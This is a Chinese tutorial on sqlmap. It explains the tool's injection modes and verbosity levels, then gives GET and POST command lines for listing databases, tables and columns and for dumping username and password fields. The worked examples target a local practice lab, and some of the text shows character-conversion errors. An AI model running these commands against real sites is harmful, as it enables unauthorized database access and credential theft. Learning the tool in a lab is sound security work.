sqlmap簡介
sqlmap是乙個開源的滲透測試工具,可以用來進行自動化檢測,利用sql注入漏洞,獲取資料庫伺服器的許可權。它具有功能強大的檢測引擎,針對各種不同型別資料庫的滲透測試的功能選項,包括獲取資料庫中儲存的資料,訪問作業系統檔案甚至可以通過外帶資料連線的方式執行作業系統命令。
1.支援的資料庫:
mysql, oracle,postgresql, microsoft sql server, microsoft access, ibm db2, sqlite, firebird,sybase和sap maxdb等資料庫
2.sqlmap支援的五種注入模式:
1.基於布林的盲注,即可以根據返回頁面判斷條件真假的注入;
2.基於時間的盲注,即不能根據頁面返回內容判斷任何資訊,用條件語句檢視時間延遲語句是否執行(即頁面返回時間是否增加)來判斷;
3.基於報錯注入,即頁面會返回錯誤資訊,或者把注入的語句的結果直接返回在頁面中;
4.聯合查詢注入,可以使用union的情況下的注入;
5.堆查詢注入,可以同時執行多條語句的執行時的注入。
3.sqlmap七個等級
如果想觀察sqlmap對乙個點是進行了怎樣的嘗試判斷以及讀取資料的,可以使用-v引數。 共有七個等級,預設為1:
0、只顯示python錯誤以及嚴重的資訊。
1、同時顯示基本資訊和警告資訊。(預設)
2、同時顯示debug資訊。
3、同時顯示注入的payload。
4、同時顯示http請求。
5、同時顯示http響應頭。
6、同時顯示http響應頁面。
4.sqlmap注入判斷簡單流程
當給sqlmap乙個url的時候,它會:
判斷可注入的引數
判斷可以用那種sql注入技術來注入
識別出哪種資料庫
根據使用者選擇,讀取哪些資料
sqlmap安裝
1、安裝python 3版本環境
首先,安裝python 3.x的python環境。選擇環境與工具下的python-3.7.3-amd64.exe。雙擊進行安裝。注意當出現下面這個頁面,選一下新增到環境變數(如果沒有這個頁面,繼續進行即可):
一步一步選擇預設選項,next即可。
2、將sqlmap資料夾移動到安裝好的python程式主目錄下
3、在sqlmap資料夾下,執行cmd
(或直接開啟cmd,然後切換到sqlmap目錄下)
sqlmap常見使用
1、 sqlmap常用選項
--users 所有資料庫使用者
--current-user 當前資料庫使用者
--is-dba 當前使用者許可權(是否為root許可權)
--dbms 指定了某種資料庫,如:mysql資料庫
--batch 全域性使用預設選項,不與人進行互動,適合全自動工作
--random-agent 構造隨機user-agent
--threads= 使用多少執行緒
--dbs 所有資料庫
--current-db **當前資料庫
--tables -d "database" //database這個資料庫的表資料表
--columns -t "tables" -d "database" //檢視users這個資料表的字段
--dump -d "database" -t "tables" -c "username,password"//檢視欄位username和password下的資料
2、sqlmap不同注入模式
探測可使用的注入模式:引數--technique
b: boolean-based blind sql injection(布林型注入)
e: error-based sql injection(報錯型注入)
u: union query sql injection(可聯合查詢注入)
s: stacked queries sql injection(可多語句查詢注入)
t: time-based blind sql injection(基於時間延遲注入)
例:通過聯合查詢注入獲取當前資料庫
python sqlmap.py -u "127.0.0.1/less-1/?id=1" --technique u --current-db --batch --dbms mysql
通過報錯注入獲取當前資料庫
python sqlmap.py -u "127.0.0.1/less-5/?id=1" --technique e --current-db --batch --dbms mysql
3、 利用sqlmap進行get型sql注入
(1)獲取所有資料庫(可新增全域性使用預設選項--batch和指定某種資料庫選項--dbms)
python sqlmap.py -u "url" –dbs
如:python sqlmap.py -u "" --dbs --batch --dbms mysql
(2)獲取**當前資料庫
python sqlmap.py -u "url" --current-db
(3)獲取security這個資料庫的資料表
python sqlmap.py -u "url" --tables -d "security"
(4)檢視users這個資料表的字段
python sqlmap.py -u "url" --columns -t "users" -d "security"
(5)檢視欄位username和password下的資料
python sqlmap.py -u "url" --dump -d "security" -t "users" -c "password,username"
4、 利用sqlmap進行post型sql注入
先用burp suite去抓包,直接傳送包裡面的內容儲存到乙個檔案(這裡是sql.txt檔案)裡面
然後用-r引數去實現
(1)獲取**當前資料庫
python sqlmap.py -r "sql.txt檔案路徑" -p "uname" --batch --current-db --dbms mysql
(2)獲取security這個資料庫的資料表
python sqlmap.py -r "sql.txt檔案路徑" -p "uname" --batch --tables -d "security" --dbms mysql
(3)檢視users這個資料表的字段
python sqlmap.py -r "sql.txt檔案路徑" -p "uname" --batch --columns -t "users" -d "security" --dbms mysql
(4)檢視欄位username和password下的資料
python sqlmap.py -r "sql.txt檔案路徑" -p "uname" --batch --dump -d "security" -t "users" -c "password,username" --dbms mysql
Sqlmap使用教程
sqlmap也是滲透中常用的乙個注入工具,其實在注入工具方面,乙個sqlmap就足夠用了,只要你用的熟,秒殺各種工具,只是乙個便捷性問題,sql注入另一方面就是手工黨了,這個就另當別論了。sqlmap支援五種不同的注入模式 mysql,oracle,postgresql,microsoft sql ...
sqlmap使用教程
sqlmap也是滲透中常用的乙個注入工具,其實在注入工具方面,乙個sqlmap就足夠用了,只要你用的熟,秒殺各種工具,只是乙個便捷性問題,sql注入另一方面就是手工黨了,這個就另當別論了。學習sqlmap前,建議了解sql注入實現原理與基本的手工注入操作,更易於理解sqlmap的使用。我的另乙個筆記...
Sqlmap使用教程 精華
sqlmap支援五種不同的注入模式 mysql,oracle,postgresql,microsoft sql server,microsoft access,ibm db2,sqlite,firebird,sybase和sap maxdb sqlmap u 預設使用level1檢測全部資料庫型別 ...